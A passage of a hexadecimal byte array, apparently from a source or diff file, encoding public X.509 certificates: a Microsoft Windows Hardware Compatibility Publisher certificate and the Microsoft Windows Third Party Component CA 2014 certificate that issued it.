0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x20, 0x54, 0x68, + 0x69, 0x72, 0x64, 0x20, 0x50, 0x61, 0x72, 0x74, 0x79, 0x20, 0x43, 0x6F, + 0x6D, 0x70, 0x6F, 0x6E, 0x65, 0x6E, 0x74, 0x20, 0x43, 0x41, 0x20, 0x32, + 0x30, 0x31, 0x34, 0x30, 0x1E, 0x17, 0x0D, 0x31, 0x39, 0x30, 0x36, 0x30, + 0x35, 0x31, 0x38, 0x33, 0x34, 0x30, 0x30, 0x5A, 0x17, 0x0D, 0x32, 0x30, + 0x30, 0x36, 0x30, 0x33, 0x31, 0x38, 0x33, 0x34, 0x30, 0x30, 0x5A, 0x30, + 0x81, 0x91, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, + 0x02, 0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 0x08, + 0x13, 0x0A, 0x57, 0x61, 0x73, 0x68, 0x69, 0x6E, 0x67, 0x74, 0x6F, 0x6E, + 0x31, 0x10, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x04, 0x07, 0x13, 0x07, 0x52, + 0x65, 0x64, 0x6D, 0x6F, 0x6E, 0x64, 0x31, 0x1E, 0x30, 0x1C, 0x06, 0x03, + 0x55, 0x04, 0x0A, 0x13, 0x15, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, + 0x66, 0x74, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, + 0x6F, 0x6E, 0x31, 0x3B, 0x30, 0x39, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, + 0x32, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x57, + 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x20, 0x48, 0x61, 0x72, 0x64, 0x77, + 0x61, 0x72, 0x65, 0x20, 0x43, 0x6F, 0x6D, 0x70, 0x61, 0x74, 0x69, 0x62, + 0x69, 0x6C, 0x69, 0x74, 0x79, 0x20, 0x50, 0x75, 0x62, 0x6C, 0x69, 0x73, + 0x68, 0x65, 0x72, 0x30, 0x82, 0x01, 0x22, 0x30, 0x0D, 0x06, 0x09, 0x2A, + 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, + 0x01, 0x0F, 0x00, 0x30, 0x82, 0x01, 0x0A, 0x02, 0x82, 0x01, 0x01, 0x00, + 0xE6, 0x0E, 0x76, 0xCA, 0xA9, 0x26, 0xC5, 0xB0, 0xC3, 0xAC, 0x62, 0x47, + 0x5F, 0x64, 0x72, 0xEF, 0xAD, 0xE7, 0x08, 0x65, 0xA6, 0xF9, 0xCB, 0x99, + 0x19, 0x4D, 0x40, 0x95, 0xAB, 0xB5, 0x59, 0xF6, 0x18, 0x2E, 0xC8, 0x34, + 0xB9, 0x84, 0x3F, 0x60, 0x64, 0x8E, 0x5B, 0xB8, 0xAF, 0x5A, 0xDC, 0x63, + 0x2C, 0x62, 0x18, 0x2D, 0x63, 0x19, 0x38, 0xF9, 0x39, 0xE6, 0xB5, 0xBA, + 0x61, 0x32, 0x5B, 0x84, 0x4C, 0x8C, 0x34, 0x06, 0x70, 0x6C, 0x56, 0xE5, + 0x2A, 0xA8, 0x61, 0x14, 0x56, 0x9A, 0x29, 0x13, 0xEE, 0x72, 0xB7, 0x5D, + 0xF6, 0xFF, 0xAE, 0xCA, 0x5D, 0xF7, 0xA6, 0x95, 0x20, 0x14, 0x79, 0xD4, + 0x66, 0xCD, 0x99, 0xFA, 0x7A, 0xD1, 0x53, 0x80, 0x2E, 0x50, 0x7B, 0xF8, + 0x99, 0x15, 0xD6, 0xCD, 0xA9, 0x51, 0xA0, 0xD1, 0xCE, 0x6F, 0x39, 0x44, + 0x9C, 0x7B, 0xA1, 0x02, 0xD0, 0xAA, 0x0C, 0x23, 0x2A, 0x93, 0x5C, 0xDA, + 0x8F, 0xCF, 0xDF, 0x14, 0x47, 0xE7, 0x84, 0x7A, 0x3A, 0x3C, 0xB2, 0x5F, + 0x7A, 0x2D, 0x15, 0x3D, 0x53, 0xD5, 0x02, 0xDF, 0xB5, 0x8A, 0x4C, 0x45, + 0xFC, 0x95, 0x26, 0x8A, 0x3D, 0xAA, 0x95, 0x7C, 0x7F, 0x20, 0x56, 0x3C, + 0xFC, 0xFB, 0x62, 0x38, 0x72, 0xAE, 0x2B, 0x62, 0xC1, 0x5A, 0x94, 0xE6, + 0x35, 0x29, 0xCE, 0x41, 0xE0, 0x4E, 0x3A, 0x97, 0x21, 0xC3, 0x19, 0x47, + 0x22, 0x65, 0x2C, 0xF9, 0x66, 0x6B, 0xD6, 0x3D, 0xFE, 0x39, 0x57, 0x79, + 0xBA, 0x6F, 0x8E, 0x50, 0x31, 0x18, 0x0B, 0xE5, 0x9F, 0x00, 0x31, 0xCC, + 0xC8, 0x1C, 0x84, 0xCE, 0x3A, 0xD1, 0x7F, 0x7F, 0xB2, 0x54, 0x4F, 0x08, + 0x99, 0x81, 0x34, 0x14, 0xC4, 0x89, 0x84, 0x53, 0xA9, 0x3A, 0x38, 0xAC, + 0x97, 0xA3, 0x0C, 0x47, 0x0A, 0x3C, 0xF4, 0x6A, 0x9D, 0x96, 0xE0, 0x82, + 0x7A, 0xDB, 0x80, 0x7B, 0x02, 0x03, 0x01, 0x00, 0x01, 0xA3, 0x82, 0x01, + 0xCC, 0x30, 0x82, 0x01, 0xC8, 0x30, 0x2C, 0x06, 0x03, 0x55, 0x1D, 0x25, + 0x04, 0x25, 0x30, 0x23, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, + 0x37, 0x0A, 0x03, 0x05, 0x06, 0x0B, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, + 0x37, 0x0A, 0x03, 0x05, 0x01, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, + 0x07, 0x03, 0x03, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x1D, 0x0E, 0x04, 0x16, + 0x04, 0x14, 0x70, 0xE0, 0xD7, 0xF2, 0x5B, 0x68, 0x52, 0xE3, 0x39, 0x11, + 0x4C, 0xD0, 0x98, 0x0A, 0xEA, 0x4F, 0x4E, 0x44, 0x48, 0x36, 0x30, 0x50, + 0x06, 0x03, 0x55, 0x1D, 0x11, 0x04, 0x49, 0x30, 0x47, 0xA4, 0x45, 0x30, + 0x43, 0x31, 0x29, 0x30, 0x27, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x20, + 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x4F, 0x70, + 0x65, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x73, 0x20, 0x50, 0x75, 0x65, + 0x72, 0x74, 0x6F, 0x20, 0x52, 0x69, 0x63, 0x6F, 0x31, 0x16, 0x30, 0x14, + 0x06, 0x03, 0x55, 0x04, 0x05, 0x13, 0x0D, 0x32, 0x33, 0x32, 0x31, 0x34, + 0x37, 0x2B, 0x34, 0x35, 0x35, 0x34, 0x33, 0x37, 0x30, 0x1F, 0x06, 0x03, + 0x55, 0x1D, 0x23, 0x04, 0x18, 0x30, 0x16, 0x80, 0x14, 0xC8, 0x3A, 0x9C, + 0xA7, 0x4A, 0xC3, 0x23, 0xF2, 0x25, 0x7E, 0xB9, 0xDA, 0xAB, 0x29, 0x53, + 0x0E, 0x54, 0x00, 0xC3, 0xA1, 0x30, 0x74, 0x06, 0x03, 0x55, 0x1D, 0x1F, + 0x04, 0x6D, 0x30, 0x6B, 0x30, 0x69, 0xA0, 0x67, 0xA0, 0x65, 0x86, 0x63, + 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x6D, + 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x2E, 0x63, 0x6F, 0x6D, + 0x2F, 0x70, 0x6B, 0x69, 0x6F, 0x70, 0x73, 0x2F, 0x63, 0x72, 0x6C, 0x2F, + 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x25, 0x32, 0x30, + 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x25, 0x32, 0x30, 0x54, 0x68, + 0x69, 0x72, 0x64, 0x25, 0x32, 0x30, 0x50, 0x61, 0x72, 0x74, 0x79, 0x25, + 0x32, 0x30, 0x43, 0x6F, 0x6D, 0x70, 0x6F, 0x6E, 0x65, 0x6E, 0x74, 0x25, + 0x32, 0x30, 0x43, 0x41, 0x25, 0x32, 0x30, 0x32, 0x30, 0x31, 0x34, 0x2E, + 0x63, 0x72, 0x6C, 0x30, 0x81, 0x81, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, + 0x05, 0x07, 0x01, 0x01, 0x04, 0x75, 0x30, 0x73, 0x30, 0x71, 0x06, 0x08, + 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x30, 0x02, 0x86, 0x65, 0x68, 0x74, + 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x6D, 0x69, 0x63, + 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x70, + 0x6B, 0x69, 0x6F, 0x70, 0x73, 0x2F, 0x63, 0x65, 0x72, 0x74, 0x73, 0x2F, + 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x25, 0x32, 0x30, + 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x25, 0x32, 0x30, 0x54, 0x68, + 0x69, 0x72, 0x64, 0x25, 0x32, 0x30, 0x50, 0x61, 0x72, 0x74, 0x79, 0x25, + 0x32, 0x30, 0x43, 0x6F, 0x6D, 0x70, 0x6F, 0x6E, 0x65, 0x6E, 0x74, 0x25, + 0x32, 0x30, 0x43, 0x41, 0x25, 0x32, 0x30, 0x32, 0x30, 0x31, 0x34, 0x2E, + 0x63, 0x72, 0x74, 0x30, 0x0C, 0x06, 0x03, 0x55, 0x1D, 0x13, 0x01, 0x01, + 0xFF, 0x04, 0x02, 0x30, 0x00, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, + 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x0B, 0x05, 0x00, 0x03, 0x82, 0x02, 0x01, + 0x00, 0x31, 0x23, 0x14, 0x21, 0x70, 0x55, 0xAF, 0xC1, 0xA5, 0x75, 0x11, + 0x81, 0xC7, 0xD2, 0xD7, 0x61, 0x9B, 0x23, 0xBA, 0x17, 0x16, 0x6E, 0x6A, + 0xE6, 0xF3, 0x58, 0xB1, 0x69, 0x21, 0xC9, 0x25, 0xC6, 0xE3, 0xB7, 0x5C, + 0x31, 0xB9, 0x30, 0x35, 0xF3, 0x57, 0xC1, 0x54, 0xFE, 0x4D, 0x34, 0x70, + 0x19, 0xE9, 0x27, 0xDB, 0x19, 0x57, 0x19, 0x3B, 0x74, 0x1E, 0x33, 0x71, + 0xB4, 0x6F, 0x4D, 0x62, 0x12, 0xB3, 0xBE, 0xC9, 0x72, 0xD6, 0xFF, 0x22, + 0x97, 0xE8, 0xB1, 0xF2, 0x39, 0x1F, 0x84, 0x00, 0x45, 0x47, 0x1E, 0xE3, + 0x1C, 0x52, 0x4D, 0x4F, 0x5B, 0xF1, 0xCA, 0xE4, 0xA3, 0x2B, 0x73, 0xF6, + 0xE4, 0x8F, 0x51, 0xF7, 0x77, 0xBB, 0x5B, 0x8A, 0x72, 0x6D, 0xB2, 0xA3, + 0x87, 0xC7, 0xC8, 0xDF, 0x42, 0x28, 0x95, 0x40, 0xF4, 0xF3, 0xD2, 0x7B, + 0x37, 0xD4, 0xAB, 0x48, 0x54, 0xEF, 0xBA, 0x80, 0x90, 0x21, 0x87, 0x9F, + 0x32, 0x57, 0xD5, 0x67, 0x0D, 0x70, 0x00, 0x3A, 0x51, 0xD6, 0x2B, 0xBC, + 0x68, 0xE3, 0x45, 0xA7, 0x69, 0xF3, 0x7C, 0xCB, 0x3A, 0xD3, 0x36, 0xB7, + 0xB3, 0xC4, 0x94, 0xF5, 0xD5, 0x6E, 0xF8, 0x30, 0x02, 0x28, 0xD2, 0x98, + 0x35, 0xE5, 0x12, 0x9B, 0x07, 0x07, 0x42, 0xA2, 0x20, 0xF8, 0x3B, 0x6C, + 0x9D, 0x5E, 0x25, 0x89, 0xCF, 0x2E, 0x7A, 0x1F, 0x7B, 0x59, 0xCF, 0xC8, + 0x1C, 0xDA, 0x32, 0x32, 0xFC, 0x2F, 0xA4, 0x48, 0xD7, 0x36, 0xDB, 0x54, + 0x6D, 0xC4, 0xB2, 0x74, 0xCA, 0xD3, 0xDA, 0x83, 0x43, 0x3D, 0xEA, 0xA3, + 0xEB, 0x99, 0x19, 0xB2, 0x3A, 0xD0, 0x8D, 0xC4, 0x05, 0x5A, 0x80, 0x26, + 0x71, 0x1A, 0xDC, 0xFC, 0xCD, 0xB4, 0x7D, 0x7A, 0x7C, 0x1A, 0xDB, 0x26, + 0x71, 0xEC, 0xC7, 0x19, 0x8A, 0x78, 0x69, 0x73, 0x80, 0x76, 0x99, 0xA0, + 0xEE, 0x23, 0x6A, 0x46, 0x77, 0x1F, 0x88, 0x91, 0x3B, 0x76, 0x96, 0x93, + 0xB0, 0xB8, 0xCE, 0x9B, 0x00, 0x2A, 0x40, 0xC2, 0xAA, 0x42, 0x6E, 0xDF, + 0xD9, 0xA9, 0x83, 0x68, 0xF8, 0x98, 0x17, 0xB0, 0xD1, 0x74, 0x45, 0x8A, + 0x39, 0x0E, 0x11, 0x62, 0x8E, 0x21, 0xF7, 0x7E, 0x75, 0x14, 0x31, 0xFA, + 0xE1, 0x38, 0x31, 0x22, 0x8E, 0x0E, 0x35, 0x76, 0x10, 0xA2, 0x4D, 0x89, + 0x80, 0x6D, 0x85, 0x39, 0x0E, 0x9B, 0x38, 0x31, 0x79, 0x2F, 0x62, 0x68, + 0x8B, 0xF0, 0x4F, 0x91, 0xEE, 0x9A, 0x85, 0x4B, 0x25, 0x24, 0x52, 0xDE, + 0x7E, 0x75, 0x2F, 0x39, 0xE5, 0x77, 0x65, 0xA0, 0x9A, 0x4F, 0xF4, 0x1A, + 0xE9, 0x61, 0x44, 0x59, 0x3A, 0x8A, 0x99, 0x68, 0x8C, 0x6C, 0x9A, 0xD6, + 0xB9, 0xFC, 0xAB, 0xA1, 0x18, 0x9E, 0xF2, 0x37, 0x2B, 0x99, 0xE9, 0x6D, + 0xB3, 0xFE, 0x64, 0x02, 0xB0, 0xE1, 0x25, 0xB1, 0x7F, 0x36, 0xC6, 0xF7, + 0x0F, 0xC1, 0xEB, 0x83, 0x25, 0x7C, 0xE6, 0x39, 0xB6, 0xC6, 0x91, 0xA9, + 0xEC, 0x03, 0x1D, 0xDD, 0xB9, 0xFA, 0x65, 0x36, 0xBB, 0x8E, 0x60, 0x80, + 0xC9, 0xDB, 0x97, 0x65, 0x33, 0xF4, 0xDD, 0xFB, 0x73, 0x30, 0x9B, 0x64, + 0x98, 0x54, 0x3C, 0xC9, 0x4D, 0x32, 0x83, 0xD4, 0x36, 0x68, 0xD6, 0x14, + 0xDD, 0x60, 0xA4, 0xFE, 0x70, 0x7E, 0xB3, 0xB8, 0x71, 0xDA, 0x32, 0x04, + 0xC5, 0x34, 0xC8, 0xCC, 0x73, 0xCB, 0xC6, 0x6A, 0xEB, 0x36, 0xCE, 0xFD, + 0x76, 0x54, 0x39, 0xEE, 0xF6, 0x8D, 0x7E, 0xE9, 0xC5, 0x15, 0xEB, 0x61, + 0x7F, 0x05, 0x1A, 0x72, 0x09, 0x7D, 0x0A, 0x25, 0x00, 0x3D, 0xF2, 0xDC, + 0xEC, 0xCC, 0x9A, 0x0C, 0x4B, 0xE1, 0xFD, 0x27, 0xE4, 0x73, 0x95, 0x5C, + 0xC8, 0x3E, 0xE9, 0xDB, 0xA6, 0x26, 0x74, 0x8B, 0x1C, 0xB7, 0x23, 0xC3, + 0xB1, 0xC8, 0xB8, 0xEB, 0xC5, 0x93, 0x21, 0xA0, 0xF5, 0x30, 0x82, 0x07, + 0x50, 0x30, 0x82, 0x05, 0x38, 0xA0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x13, + 0x33, 0x00, 0x00, 0x00, 0x0D, 0x69, 0x0D, 0x5D, 0x78, 0x93, 0xD0, 0x76, + 0xDF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0D, 0x30, 0x0D, 0x06, 0x09, 0x2A, + 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x0B, 0x05, 0x00, 0x30, 0x81, + 0x88, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, + 0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 0x08, 0x13, + 0x0A, 0x57, 0x61, 0x73, 0x68, 0x69, 0x6E, 0x67, 0x74, 0x6F, 0x6E, 0x31, + 0x10, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x04, 0x07, 0x13, 0x07, 0x52, 0x65, + 0x64, 0x6D, 0x6F, 0x6E, 0x64, 0x31, 0x1E, 0x30, 0x1C, 0x06, 0x03, 0x55, + 0x04, 0x0A, 0x13, 0x15, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, + 0x74, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, + 0x6E, 0x31, 0x32, 0x30, 0x30, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x29, + 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x52, 0x6F, + 0x6F, 0x74, 0x20, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, 0x63, 0x61, + 0x74, 0x65, 0x20, 0x41, 0x75, 0x74, 0x68, 0x6F, 0x72, 0x69, 0x74, 0x79, + 0x20, 0x32, 0x30, 0x31, 0x30, 0x30, 0x1E, 0x17, 0x0D, 0x31, 0x34, 0x31, + 0x30, 0x31, 0x35, 0x32, 0x30, 0x33, 0x31, 0x32, 0x37, 0x5A, 0x17, 0x0D, + 0x32, 0x39, 0x31, 0x30, 0x31, 0x35, 0x32, 0x30, 0x34, 0x31, 0x32, 0x37, + 0x5A, 0x30, 0x81, 0x8E, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, + 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, + 0x04, 0x08, 0x13, 0x0A, 0x57, 0x61, 0x73, 0x68, 0x69, 0x6E, 0x67, 0x74, + 0x6F, 0x6E, 0x31, 0x10, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x04, 0x07, 0x13, + 0x07, 0x52, 0x65, 0x64, 0x6D, 0x6F, 0x6E, 0x64, 0x31, 0x1E, 0x30, 0x1C, + 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x15, 0x4D, 0x69, 0x63, 0x72, 0x6F, + 0x73, 0x6F, 0x66, 0x74, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, + 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x38, 0x30, 0x36, 0x06, 0x03, 0x55, 0x04, + 0x03, 0x13, 0x2F, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, + 0x20, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x20, 0x54, 0x68, 0x69, + 0x72, 0x64, 0x20, 0x50, 0x61, 0x72, 0x74, 0x79, 0x20, 0x43, 0x6F, 0x6D, + 0x70, 0x6F, 0x6E, 0x65, 0x6E, 0x74, 0x20, 0x43, 0x41, 0x20, 0x32, 0x30, + 0x31, 0x34, 0x30, 0x82, 0x02, 0x22, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, + 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, 0x02, + 0x0F, 0x00, 0x30, 0x82, 0x02, 0x0A, 0x02, 0x82, 0x02, 0x01, 0x00, 0xCB, + 0x5F, 0x1E, 0xAB, 0x51, 0xF4, 0xD3, 0x7D, 0x61, 0x2D, 0xD2, 0x19, 0x9A, + 0xBD, 0x25, 0xFD, 0x97, 0x5C, 0x75, 0xCD, 0xCC, 0x23, 0xB0, 0x99, 0x55, + 0xF2, 0xB9, 0x80, 0x03, 0x36, 0x6A, 0x6F, 0x80, 0xC6, 0x0C, 0xB5, 0xBA, + 0x3C, 0x27, 0x45, 0x04, 0x06, 0x15, 0x6B, 0xAD, 0x0E, 0xDE, 0x7E, 0x47, + 0xAE, 0x38, 0x03, 0x73, 0x6B, 0x3D, 0x28, 0x13, 0x0D, 0x24, 0x2C, 0x2F, + 0x39, 0x18, 0x48, 0xA7, 0x46, 0x5E, 0x08, 0xA9, 0xC4, 0x53, 0x60, 0xC9, + 0x8C, 0x30, 0xA3, 0xC6, 0x7D, 0x63, 0x21, 0x46, 0xE0, 0x08, 0x93, 0x2F, + 0xB8, 0x95, 0x97, 0x6F, 0x29, 0xFF, 0x79, 0xD8, 0x8E, 0x97, 0x39, 0xC8, + 0x33, 0xA3, 0x57, 0x1E, 0x30, 0x72, 0x14, 0xEE, 0xB7, 0x7A, 0x7F, 0xFF, + 0x59, 0xDB, 0x35, 0xD0, 0x75, 0xE9, 0xC9, 0xB2, 0x72, 0x9D, 0x56, 0xC1, + 0xCB, 0xB7, 0x2C, 0xB7, 0xC7, 0x9B, 0x1E, 0x2F, 0x6B, 0x9D, 0xE0, 0x49, + 0x3A, 0x1B, 0xF4, 0x39, 0xD3, 0xBD, 0xA8, 0x0B, 0xA7, 0x69, 0x99, 0x5B, + 0x13, 0x1C, 0x4E, 0x67, 0x09, 0x37, 0xAE, 0xA0, 0xA8, 0x26, 0x65, 0x5A, + 0xBA, 0x7F, 0xAD, 0xBB, 0x49, 0xCA, 0x89, 0x06, 0x67, 0x22, 0xC5, 0xE8, + 0x92, 0x1B, 0x19, 0x8F, 0x02, 0x71, 0x1F, 0x5B, 0xC1, 0x74, 0x24, 0x06, + 0xAC, 0xE8, 0x7A, 0x28, 0xA9, 0x68, 0x83, 0xA4, 0x42, 0xBC, 0x2F, 0x24, + 0x7E, 0x81, 0xF1, 0x7F, 0x27, 0x64, 0x8F, 0x70, 0x67, 0x68, 0xC3, 0x72, + 0xFB, 0x69, 0xD7, 0xE5, 0xF0, 0x0E, 0x2C, 0x22, 0x33, 0xE4, 0x1B, 0xC7, + 0x1B, 0xD7, 0x25, 0x4D, 0x2F, 0xFC, 0x76, 0xFB, 0x31, 0x7C, 0xF2, 0x98, + 0x9F, 0x8E, 0x1F, 0x6A, 0x99, 0x60, 0xAB, 0xBF, 0xF1, 0x32, 0x0F, 0xCA, + 0xFD, 0x33, 0x48, 0x9D, 0x59, 0x5C, 0x58, 0xAD, 0xE2, 0x3D, 0x29, 0x78, + 0x28, 0x30, 0x74, 0xC8, 0x35, 0x4E, 0xF2, 0xEF, 0x96, 0x18, 0x5A, 0xDB, + 0x60, 0xA8, 0xBE, 0xE7, 0xFD, 0x9A, 0xAC, 0xF9, 0xC0, 0x3D, 0xE3, 0x7D, + 0x4E, 0x4A, 0xCF, 0x0B, 0x65, 0xDF, 0x21, 0xA4, 0x71, 0xE4, 0x22, 0x22, + 0x83, 0xF2, 0x53, 0x60, 0x52, 0x8E, 0x51, 0x81, 0x3A, 0x35, 0xA0, 0xEA, + 0xE9, 0xFC, 0xC1, 0x75, 0xE0, 0x85, 0xC2, 0x06, 0x43, 0x2C, 0x93, 0x0E, + 0xD3, 0xB7, 0x62, 0xAF, 0x52, 0x27, 0x35, 0x73, 0x3F, 0xDB, 0x11, 0xA4, + 0x49, 0xF9, 0xBB, 0xE3, 0xDF, 0x3F, 0x95, 0xD9, 0xF9, 0xD4, 0x93, 0xE8, + 0x70, 0xD9, 0xAC, 0x5B, 0x08, 0x0C, 0x49, 0x31, 0x73, 0x5F, 0xC6, 0x53, + 0x2C, 0x9B, 0x09, 0x75, 0x48, 0x44, 0x33, 0x49, 0x99, 0x77, 0x30, 0x22, + 0x11, 0x81, 0xD4, 0x10, 0x56, 0x56, 0x2E, 0x24, 0xDC, 0x8C, 0xC4, 0x9B, + 0xB4, 0x15, 0xA3, 0x61, 0x8A, 0xD8, 0xC4, 0xEF, 0xE5, 0xCD, 0x44, 0xFB, + 0xAD, 0x74, 0xE8, 0x03, 0xA2, 0x6D, 0x69, 0xC0, 0x93, 0xA7, 0x76, 0xBF, + 0x16, 0xD9, 0x79, 0x51, 0xB2, 0xA8, 0x10, 0x90, 0x01, 0xDC, 0x87, 0x36, + 0x3E, 0x51, 0xAB, 0x71, 0xD9, 0xD1, 0x4E, 0x95, 0x8E, 0xE6, 0xD8, 0x5B, + 0xF3, 0xA9, 0x35, 0x70, 0x87, 0x09, 0x3B, 0x8C, 0x55, 0xF0, 0xD5, 0x73, + 0x35, 0x71, 0x14, 0xFE, 0x6B, 0x0E, 0x56, 0x15, 0xB3, 0x6B, 0x34, 0xBF, + 0x74, 0x05, 0xEE, 0xA0, 0x3B, 0x6D, 0xF8, 0x6E, 0x31, 0x12, 0xE2, 0x47, + 0xF4, 0x4B, 0xE7, 0xB7, 0x49, 0x0D, 0xEB, 0x65, 0xCB, 0xA1, 0x23, 0x84, + 0xA4, 0x7B, 0x5B, 0xF1, 0xE2, 0xFD, 0x64, 0x69, 0xCE, 0xB3, 0x1F, 0x1B, + 0x5B, 0x9F, 0x68, 0xF0, 0x75, 0x22, 0x78, 0x6F, 0xA8, 0x39, 0xCB, 0xF0, + 0xFE, 0xE4, 0xA6, 0x67, 0xB9, 0x0B, 0x46, 0x71, 0xFE, 0x7A, 0x7E, 0x75, + 0x13, 0x3E, 0x57, 0xE1, 0x56, 0x50, 0x9D, 0x02, 0x03, 0x01, 0x00, 0x01, + 0xA3, 0x82, 0x01, 0xA9, 0x30, 0x82, 0x01, 0xA5, 0x30, 0x10, 0x06, 0x09, + 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x15, 0x01, 0x04, 0x03, 0x02, + 0x01, 0x00, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x1D, 0x0E, 0x04, 0x16, 0x04, + 0x14, 0xC8, 0x3A, 0x9C, 0xA7, 0x4A, 0xC3, 0x23, 0xF2, 0x25, 0x7E, 0xB9, + 0xDA, 0xAB, 0x29, 0x53, 0x0E, 0x54, 0x00, 0xC3, 0xA1, 0x30, 0x64, 0x06, + 0x03, 0x55, 0x1D, 0x20, 0x04, 0x5D, 0x30, 0x5B, 0x30, 0x06, 0x06, 0x04, + 0x55, 0x1D, 0x20, 0x00, 0x30, 0x51, 0x06, 0x0C, 0x2B, 0x06, 0x01, 0x04, + 0x01, 0x82, 0x37, 0x4C, 0x83, 0x7D, 0x01, 0x01, 0x30, 0x41, 0x30, 0x3F, + 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x02, 0x01, 0x16, 0x33, + 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x6D, + 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x2E, 0x63, 0x6F, 0x6D, + 0x2F, 0x70, 0x6B, 0x69, 0x6F, 0x70, 0x73, 0x2F, 0x44, 0x6F, 0x63, 0x73, + 0x2F, 0x52, 0x65, 0x70, 0x6F, 0x73, 0x69, 0x74, 0x6F, 0x72, 0x79, 0x2E, + 0x68, 0x74, 0x6D, 0x30, 0x19, 0x06, 0x09, 0x2B, 0x06, 0x01, 0x04, 0x01, + 0x82, 0x37, 0x14, 0x02, 0x04, 0x0C, 0x1E, 0x0A, 0x00, 0x53, 0x00, 0x75, + 0x00, 0x62, 0x00, 0x43, 0x00, 0x41, 0x30, 0x0B, 0x06, 0x03, 0x55, 0x1D, + 0x0F, 0x04, 0x04, 0x03, 0x02, 0x01, 0x86, 0x30, 0x0F, 0x06, 0x03, 0x55, + 0x1D, 0x13, 0x01, 0x01, 0xFF, 0x04, 0x05, 0x30, 0x03, 0x01, 0x01, 0xFF, + 0x30, 0x1F, 0x06, 0x03, 0x55, 0x1D, 0x23, 0x04, 0x18, 0x30, 0x16, 0x80, + 0x14, 0xD5, 0xF6, 0x56, 0xCB, 0x8F, 0xE8, 0xA2, 0x5C, 0x62, 0x68, 0xD1, + 0x3D, 0x94, 0x90, 0x5B, 0xD7, 0xCE, 0x9A, 0x18, 0xC4, 0x30, 0x56, 0x06, + 0x03, 0x55, 0x1D, 0x1F, 0x04, 0x4F, 0x30, 0x4D, 0x30, 0x4B, 0xA0, 0x49, + 0xA0, 0x47, 0x86, 0x45, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x63, + 0x72, 0x6C, 0x2E, 0x6D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, + 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x70, 0x6B, 0x69, 0x2F, 0x63, 0x72, 0x6C, + 0x2F, 0x70, 0x72, 0x6F, 0x64, 0x75, 0x63, 0x74, 0x73, 0x2F, 0x4D, 0x69, + 